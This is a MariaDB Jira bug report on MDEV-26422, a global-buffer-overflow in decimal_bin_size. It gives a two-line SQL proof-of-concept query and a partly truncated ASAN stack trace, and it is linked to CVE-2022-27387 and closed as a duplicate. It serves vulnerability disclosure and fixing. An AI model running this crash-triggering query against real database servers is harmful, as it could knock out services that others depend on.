MariaDB Server MDEV-26422

ASAN: global-buffer-overflow in decimal_bin_size on SELECT

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Major
Resolution:	Duplicate
Affects Version/s:	10.3, 10.4, 10.5, 10.6, 10.7
Fix Version/s:	N/A
Component/s:	N/A
Labels:	None
Environment:	Linux version 5.13.0-1-MANJARO (builduser@LEGION) (gcc (GCC) 11.1.0, GNU ld (GNU Binutils) 2.36.1) #1 SMP PREEMPT Mon Jun 7 06:16:10 UTC 2021 x86_64

Description

PoC:

```
CREATE TABLE v0 AS SELECT NULL AS v1 FROM DUAL ;
 SELECT 'x' FROM v0 GROUP BY v1 , v1 ORDER BY AVG ( from_unixtime ( '' ) ) ;
```

ASAN report:

```
ersion: '10.7.0-MariaDB'  socket: '/tmp/0.socket'  port: 10000  Source distribu
=================================================================
==2869677==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55fa8a5
READ of size 4 at 0x55fa8a50bf90 thread T13
    #0 0x55fa89dcf30c in decimal_bin_size /experiment/mariadb-server/strings/de
    #1 0x55fa88cd14d2 in my_decimal_get_binary_size(unsigned short, unsigned sh
    #2 0x55fa88cd14d2 in Type_handler_decimal_result::sort_length(THD*, Type_st
    #3 0x55fa88cd9bbd in sortlength /experiment/mariadb-server/sql/filesort.cc:
    #4 0x55fa88cd9bbd in filesort(THD*, TABLE*, Filesort*, Filesort_tracker*, J
    #5 0x55fa886c0698 in create_sort_index(THD*, JOIN*, st_join_table*, Filesor

    #6 0x55fa886c10fe in st_join_table::sort_table() /experiment/mariadb-server
    #7 0x55fa886c1373 in join_init_read_record(st_join_table*) /experiment/mari
    #8 0x55fa886f3cce in AGGR_OP::end_send() /experiment/mariadb-server/sql/sql
    #9 0x55fa886f45cf in sub_select_postjoin_aggr(JOIN*, st_join_table*, bool)
    #10 0x55fa8871882b in do_select /experiment/mariadb-server/sql/sql_select.c
    #11 0x55fa8871882b in JOIN::exec_inner() /experiment/mariadb-server/sql/sql
    #12 0x55fa8871a592 in JOIN::exec() /experiment/mariadb-server/sql/sql_selec
    #12 0x55fa8871a592 in JOIN::exec() /experiment/mariadb-server/sql/sql_selec
    #13 0x55fa88712b5a in mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, u
```

Issue Links

duplicates

MDEV-25317 Assertion `scale <= precision' failed in decimal_bin_size An... CLOSED

links to

CVE-2022-27387

Activity

Alice Sherepa added a comment - 2021-08-27 08:23

Thank you!
This is the same as ~~MDEV-25317~~, I will add the test case there.

People

Assignee:

Unassigned

Reporter:

yaoguang

Votes:

0 Vote for this issue

Watchers:

4 Start watching this issue

Dates

Created:

2021-08-19 03:12

Updated:

2022-04-13 13:04

Resolved:

2021-08-27 08:23

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.